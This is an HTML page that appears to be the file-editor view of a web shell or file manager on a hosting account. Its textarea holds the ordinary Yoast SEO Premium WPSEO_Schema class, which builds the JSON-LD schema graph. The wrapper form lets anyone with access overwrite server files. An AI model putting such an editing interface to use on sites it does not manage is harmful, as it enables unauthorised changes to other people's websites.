<h2>File Contents: /home/planet5/public_html/wp-content/plugins/wordpress-seo-premium/frontend/schema/class-schema.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/wordpress-seo-premium/frontend/schema/class-schema.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Frontend\Schema
 */

/**
 * Class WPSEO_Schema
 *
 * Outputs schema code specific for Google&#039;s JSON LD stuff.
 *
 * @since 1.8
 */
class WPSEO_Schema implements WPSEO_WordPress_Integration {

	/**
	 * Holds the parsed blocks for the current page.
	 *
	 * @var array
	 */
	private $parsed_blocks = [];

	/**
	 * Holds context variables about the current page and site.
	 *
	 * @var WPSEO_Schema_Context
	 */
	private $context;

	/**
	 * Registers the hooks.
	 */
	public function register_hooks() {
		add_action( &#039;wpseo_head&#039;, [ $this, &#039;json_ld&#039; ], 91 );
		add_action( &#039;wpseo_json_ld&#039;, [ $this, &#039;generate&#039; ], 1 );

		// This AMP hook is only used in Reader (formerly Classic) mode.
		add_action( &#039;amp_post_template_head&#039;, [ $this, &#039;json_ld&#039; ], 9 );
	}

	/**
	 * JSON LD output function that the functions for specific code can hook into.
	 *
	 * @since 1.8
	 */
	public function json_ld() {
		$deprecated_data = [
			&#039;_deprecated&#039; =&gt; &#039;Please use the &quot;wpseo_schema_*&quot; filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.&#039;,
		];

		/**
		 * Filter: &#039;wpseo_json_ld_output&#039; - Allows disabling Yoast&#039;s schema output entirely.
		 *
		 * @api mixed If false or an empty array is returned, disable our output.
		 */
		$return = apply_filters( &#039;wpseo_json_ld_output&#039;, $deprecated_data, &#039;&#039; );
		if ( $return === [] || $return === false ) {
			return;
		}

		// Remove the AMP hook that also outputs Schema metadata on AMP pages.
		remove_action( &#039;amp_post_template_head&#039;, &#039;amp_print_schemaorg_metadata&#039; );
		do_action( &#039;wpseo_json_ld&#039; );
	}

	/**
	 * Outputs the JSON LD code in a valid JSON+LD wrapper.
	 *
	 * @since 10.2
	 *
	 * @return void
	 */
	public function generate() {
		$graph = [];

		$this-&gt;context = new WPSEO_Schema_Context();
		$pieces        = $this-&gt;get_graph_pieces();

		// Parse the Gutenberg blocks so we know whether to show pieces for those.
		$this-&gt;parse_blocks();

		foreach ( $pieces as $piece ) {
			$identifier = str_replace( &#039;wpseo_schema_&#039;, &#039;&#039;, strtolower( get_class( $piece ) ) );
			if ( property_exists( $piece, &#039;identifier&#039; ) ) {
				$identifier = $piece-&gt;identifier;
			}

			/**
			 * Filter: &#039;wpseo_schema_needs_&lt;identifier&gt;&#039; - Allows changing which graph pieces we output.
			 *
			 * @api bool $is_needed Whether or not to show a graph piece.
			 */
			$is_needed = apply_filters( &#039;wpseo_schema_needs_&#039; . $identifier, $piece-&gt;is_needed() );
			if ( ! $is_needed ) {
				continue;
			}

			$graph_piece = $piece-&gt;generate();

			/**
			 * Filter: &#039;wpseo_schema_&lt;identifier&gt;&#039; - Allows changing graph piece output.
			 *
			 * @api array $graph_piece The graph piece to filter.
			 */
			$graph_piece = apply_filters( &#039;wpseo_schema_&#039; . $identifier, $graph_piece );
			if ( is_array( $graph_piece ) ) {
				$graph[] = $graph_piece;
			}
		}

		foreach ( $this-&gt;parsed_blocks as $block_type =&gt; $blocks ) {
			foreach ( $blocks as $block ) {
				/**
				 * Filter: &#039;wpseo_schema_block_&lt;block-type&gt;&#039; - Allows filtering graph output per block.
				 *
				 * @param WP_Block_Parser_Block $block   The block.
				 * @param WPSEO_Schema_Context  $context A value object with context variables.
				 *
				 * @api array $graph Our Schema output.
				 */
				$block_type = strtolower( $block[&#039;blockName&#039;] );
				$graph      = apply_filters( &#039;wpseo_schema_block_&#039; . $block_type, $graph, $block, $this-&gt;context );
			}
		}

		WPSEO_Utils::schema_output( $graph, &#039;yoast-schema-graph yoast-schema-graph--main&#039; );
	}

	/**
	 * Gets all the graph pieces we need.
	 *
	 * @return array A filtered array of graph pieces.
	 */
	private function get_graph_pieces() {
		$pieces = [
			new WPSEO_Schema_Organization( $this-&gt;context ),
			new WPSEO_Schema_Person( $this-&gt;context ),
			new WPSEO_Schema_Website( $this-&gt;context ),
			new WPSEO_Schema_MainImage( $this-&gt;context ),
			new WPSEO_Schema_WebPage( $this-&gt;context ),
			new WPSEO_Schema_Breadcrumb( $this-&gt;context ),
			new WPSEO_Schema_Article( $this-&gt;context ),
			new WPSEO_Schema_Author( $this-&gt;context ),
			new WPSEO_Schema_FAQ( $this-&gt;context ),
			new WPSEO_Schema_HowTo( $this-&gt;context ),
		];

		/**
		 * Filter: &#039;wpseo_schema_graph_pieces&#039; - Allows adding pieces to the graph.
		 *
		 * @param WPSEO_Schema_Context $context An object with context variables.
		 *
		 * @api array $pieces The schema pieces.
		 */
		return apply_filters( &#039;wpseo_schema_graph_pieces&#039;, $pieces, $this-&gt;context );
	}

	/**
	 * Parse the blocks and pass them on to our head.
	 */
	private function parse_blocks() {
		if ( ! function_exists( &#039;parse_blocks&#039; ) ) {
			return;
		}

		if ( ! is_singular() ) {
			return;
		}

		$this-&gt;get_parsed_blocks();
		foreach ( array_keys( $this-&gt;parsed_blocks ) as $block_type ) {
			/**
			 * Filter: &#039;wpseo_pre_schema_block_type_&lt;block-type&gt;&#039; - Allows hooking things to change graph output based on the blocks on the page.
			 *
			 * @param string               $block_type The block type.
			 * @param array                $blocks     All the blocks of this block type.
			 * @param WPSEO_Schema_Context $context    A value object with context variables.
			 */
			do_action( &#039;wpseo_pre_schema_block_type_&#039; . $block_type, $this-&gt;parsed_blocks[ $block_type ], $this-&gt;context );
		}
	}

	/**
	 * Parse the blocks and loop through them.
	 */
	private function get_parsed_blocks() {
		$post          = get_post();
		$parsed_blocks = parse_blocks( $post-&gt;post_content );

		foreach ( $parsed_blocks as $block ) {
			if ( ! isset( $this-&gt;parsed_blocks[ $block[&#039;blockName&#039;] ] ) || ! is_array( $this-&gt;parsed_blocks[ $block[&#039;blockName&#039;] ] ) ) {
				$this-&gt;parsed_blocks[ $block[&#039;blockName&#039;] ] = [];
			}
			$this-&gt;parsed_blocks[ $block[&#039;blockName&#039;] ][] = $block;
		}
	}
}
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